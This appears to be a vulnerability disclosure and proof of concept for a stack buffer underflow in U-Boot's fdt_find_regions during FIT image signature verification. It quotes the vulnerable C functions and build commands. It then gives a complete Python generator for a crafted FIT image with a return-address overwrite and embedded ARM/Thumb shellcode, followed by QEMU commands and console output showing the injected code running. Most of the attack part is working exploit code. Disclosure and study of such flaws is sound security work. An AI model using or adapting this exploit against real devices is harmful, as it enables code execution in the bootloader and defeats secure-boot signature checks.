Stack buffer underflow in U-Boot during FIT image signature verification in `fdt_find_regions`

const char *fdt_get_name(const void *fdt, int nodeoffset, int *len)
{
	const struct fdt_node_header *nh = fdt_offset_ptr_(fdt, nodeoffset);
	const char *nameptr;
	int err;

	if (((err = fdt_ro_probe_(fdt)) < 0)
	    || ((err = fdt_check_node_offset_(fdt, nodeoffset)) < 0))
			goto fail;

	nameptr = nh->name;

	if (!can_assume(LATEST) && fdt_version(fdt) < 0x10) {
		/*
		 * For old FDT versions, match the naming conventions of V16:
		 * give only the leaf name (after all /). The actual tree
		 * contents are loosely checked.
		 */
		const char *leaf;
		leaf = strrchr(nameptr, '/');
		if (leaf == NULL) {
			err = -FDT_ERR_BADSTRUCTURE;
			goto fail;
		}
		nameptr = leaf+1;
	}

	if (len)
		*len = strlen(nameptr);

	return nameptr;

 fail:
	if (len)
		*len = err;
	return NULL;
}

int fdt_find_regions(const void *fdt, char * const inc[], int inc_count,
		     char * const exc_prop[], int exc_prop_count,
		     struct fdt_region region[], int max_regions,
		     char *path, int path_len, int add_string_tab)
{
	int stack[FDT_MAX_DEPTH] = { 0 };
	char *end;
	int nextoffset = 0;
	uint32_t tag;
	int count = 0;
	int start = -1;
	int depth = -1;
	int want = 0;
	int base = fdt_off_dt_struct(fdt);
	bool expect_end = false;

	end = path;
	*end = '\0';
	do {
		const struct fdt_property *prop;
		const char *name;
		const char *str;
		int include = 0;
		int stop_at = 0;
		int offset;
		int len;

		offset = nextoffset;
		tag = fdt_next_tag(fdt, offset, &nextoffset);
		stop_at = nextoffset;

		/* If we see two root nodes, something is wrong */
		if (expect_end && tag != FDT_END)
			return -FDT_ERR_BADLAYOUT;

		switch (tag) {
		case FDT_PROP:
			include = want >= 2;
			stop_at = offset;
			prop = fdt_get_property_by_offset(fdt, offset, NULL);
			str = fdt_string(fdt, fdt32_to_cpu(prop->nameoff));
			if (!str)
				return -FDT_ERR_BADSTRUCTURE;
			if (str_in_list(str, exc_prop, exc_prop_count))
				include = 0;
			break;

		case FDT_NOP:
			include = want >= 2;
			stop_at = offset;
			break;

		case FDT_BEGIN_NODE:
			depth++;
			if (depth == FDT_MAX_DEPTH)
				return -FDT_ERR_BADSTRUCTURE;
			name = fdt_get_name(fdt, offset, &len);

			/* The root node must have an empty name */
			if (!depth && *name)
				return -FDT_ERR_BADLAYOUT;
			if (end - path + 2 + len >= path_len)
				return -FDT_ERR_NOSPACE;
			if (end != path + 1)
				*end++ = '/';
			strcpy(end, name);
			end += len;
			stack[depth] = want;
			if (want == 1)
				stop_at = offset;
			if (str_in_list(path, inc, inc_count))
				want = 2;
			else if (want)
				want--;
			else
				stop_at = offset;
			include = want;
			break;
        ...

make qemu_arm_defconfig
make -j"$(nproc)" CROSS_COMPILE=arm-linux-gnueabihf-

#!/usr/bin/env python3

import io
import os
import struct
import sys

TRIGGER_COUNT = 54  # Enough to overwrite the return address of `fdt_find_regions`

FDT_MAGIC = 0xD00DFEED
FDT_VERSION = 15  # legacy v<16 path in fdt_get_name
FDT_COMP_VERS = 2

FDT_BEGIN_NODE = 1
FDT_END_NODE = 2
FDT_PROP = 3
FDT_END = 9

HDR_SIZE = 40
RSV_SIZE = 16


def be32(x):
    return struct.pack(">I", x & 0xFFFFFFFF)


def pad4(n):
    return (n + 3) & ~3


class StringTable:
    def __init__(self):
        self.buf = bytearray()
        self.idx = {}

    def add(self, s):
        if s in self.idx:
            return self.idx[s]
        off = len(self.buf)
        self.idx[s] = off
        self.buf.extend(s.encode("ascii") + b"\x00")
        return off

    def bytes(self):
        return bytes(self.buf)


def begin(out, name):
    out.write(be32(FDT_BEGIN_NODE))
    b = name.encode("ascii") + b"\x00"
    out.write(b + b"\x00" * (pad4(len(b)) - len(b)))


def end(out):
    out.write(be32(FDT_END_NODE))


def prop(out, st, name, value):
    out.write(be32(FDT_PROP))
    out.write(be32(len(value)))
    out.write(be32(st.add(name)))
    out.write(value + b"\x00" * (pad4(len(value)) - len(value)))


def build(path):
    st = StringTable()
    body = io.BytesIO()

    # / - root, name "/" so legacy fdt_get_name resolves to leaf="" cleanly.
    begin(body, "/")

    # /images/i/hash - minimum image with one hash subnode.
    begin(body, "/images")
    begin(body, "/images/i")
    begin(body, "/images/i/hash")
    end(body)  # /images/i/hash
    end(body)  # /images/i

    # TRIGGER_COUNT × non-/ named subnodes - each one fires the
    # legacy v<16 NULL-strcpy and shifts end backward by 10 bytes.
    for n in range(TRIGGER_COUNT):
        begin(body, f"c{n:03d}")  # name has no '/' - strrchr fails
        end(body)

    # First payload node
    body.write(be32(FDT_BEGIN_NODE))
    raw_name = (
        b"/images/"
        + b"A" * 8  # padding to reach the return address of `fdt_find_regions`
        + b"\xb0\x59\x56\x7e"  # new return address for `fdt_find_regions`
        + b"\x04\xf0\x1f\xe5"  # enter the thumb mode
        + b"\xb9\x59\x56\x7e"
        + b"\x02\xe0"  # jump to the second payload location
        + b"\x00"
    )
    body.write(raw_name + b"\x00" * (pad4(len(raw_name)) - len(raw_name)))
    end(body)  # first payload

    # Second payload node
    body.write(be32(FDT_BEGIN_NODE))
    raw_name = (
        b"/i/t/"
        + b"AAAAA"  # padding for memory alignment
        + b"\x02\xa0"  # move the location of the message to r0
        + b"\x48\xf2\xd0\x7c"  # load the address of puts into r12
        + b"\xc7\xf6\x6f\x7c"
        + b"\xe0\x47"  # call puts
        + b"\n[BRLY]\n"  # the message to print
    )
    body.write(raw_name + b"\x00" * (pad4(len(raw_name)) - len(raw_name)))
    end(body)  # payload 2

    # Open nodes to trigger `if (depth == FDT_MAX_DEPTH)` for early return
    for n in range(32):
        begin(body, "/")

    # Close nodes
    for n in range(32):
        end(body)

    end(body)  # /images

    # /configurations skeleton - required by fit_config_check_sig's
    # precondition checks
    begin(body, "/configurations")
    prop(body, st, "default", b"c\x00")
    begin(body, "/configurations/c")
    prop(body, st, "k", b"i\x00")
    begin(body, "/configurations/c/signature1234")
    prop(body, st, "algo", b"sha1,rsa2048\x00")
    prop(body, st, "value", b"\x00\x00\x00\x00")
    end(body)  # signature1234
    end(body)  # c
    end(body)  # configurations

    end(body)  # root
    body.write(be32(FDT_END))

    struct_bytes = body.getvalue()
    strings_bytes = st.bytes()

    off_mem_rsvmap = HDR_SIZE
    off_dt_struct = HDR_SIZE + RSV_SIZE
    off_dt_strings = off_dt_struct + len(struct_bytes)
    totalsize = off_dt_strings + len(strings_bytes)

    header = b"".join(
        [
            be32(FDT_MAGIC),
            be32(totalsize),
            be32(off_dt_struct),
            be32(off_dt_strings),
            be32(off_mem_rsvmap),
            be32(FDT_VERSION),
            be32(FDT_COMP_VERS),
            be32(0),
            be32(len(strings_bytes)),
            be32(len(struct_bytes)),
        ]
    )
    assert len(header) == HDR_SIZE

    rsv = b"\x00" * RSV_SIZE

    with open(path, "wb") as f:
        f.write(header)
        f.write(rsv)
        f.write(struct_bytes)
        f.write(strings_bytes)

    print(f"[fitgen] header     size={HDR_SIZE}")
    print(f"[fitgen] mem_rsvmap size={RSV_SIZE}")
    print(f"[fitgen] struct     size={len(struct_bytes)}")
    print(f"[fitgen] strings    size={len(strings_bytes)} ({strings_bytes!r})")
    print(f"[fitgen] header version = {FDT_VERSION}")
    print(f"[fitgen] TRIGGER_COUNT  = {TRIGGER_COUNT}")
    print(f"[fitgen] totalsize      = {totalsize:#x} ({totalsize} bytes)")
    print(f"[fitgen] wrote {os.path.getsize(path)} bytes to {path}")


def build_keyblob(path):
    st = StringTable()
    body = io.BytesIO()
    begin(body, "")
    begin(body, "signature")
    begin(body, "key-prod")
    prop(body, st, "required", b"conf\x00")
    prop(body, st, "algo", b"sha1,rsa2048\x00")
    end(body)
    end(body)
    end(body)
    body.write(be32(FDT_END))

    struct_bytes = body.getvalue()
    strings_bytes = st.bytes()
    off_dt_struct = HDR_SIZE + RSV_SIZE
    off_dt_strings = off_dt_struct + len(struct_bytes)
    totalsize = off_dt_strings + len(strings_bytes)

    header = b"".join(
        [
            be32(FDT_MAGIC),
            be32(totalsize),
            be32(off_dt_struct),
            be32(off_dt_strings),
            be32(HDR_SIZE),
            be32(17),
            be32(16),
            be32(0),
            be32(len(strings_bytes)),
            be32(len(struct_bytes)),
        ]
    )
    with open(path, "wb") as f:
        f.write(header)
        f.write(b"\x00" * RSV_SIZE)
        f.write(struct_bytes)
        f.write(strings_bytes)
    print(f"[keyblob] wrote {os.path.getsize(path)} bytes to {path}")


if __name__ == "__main__":
    fit = sys.argv[1] if len(sys.argv) > 1 else "poc.fit"
    key = sys.argv[2] if len(sys.argv) > 2 else "keyblob.dtb"
    build(fit)
    build_keyblob(key)

qemu-system-arm -M virt -m 1G -cpu cortex-a15 \
    -nographic -no-reboot -bios u-boot.bin \
    -device loader,file=poc.fit,addr=0x60000000 \
    -device loader,file=keyblob.dtb,addr=0x50000000
...

=> fdt addr 0x60000000
Working FDT set to 60000000
=> fdt checksign 0x50000000
sha1,rsa2048:<NULL>
[BRLY]
data abort
pc : [<7e565a68>]          lr : [<7f7102f8>]
reloc pc : [<fee9da68>]    lr : [<000482f8>]
sp : 7e565950  ip : 7e688008     fp : 41414141
r10: 41414141  r9 : 7e687e90     r8 : 2f000000
r7 : 0000002f  r6 : 00000030     r5 : 00000000  r4 : 000001e0
r3 : 00000001  r2 : 00000dd0     r1 : 00000000  r0 : 000000bc
Flags: nzcv  IRQs off  FIQs off  Mode SVC_32
Code: 600000b8 7e565afc 00b82fb0 60000000 (2f565acc)
Resetting CPU ...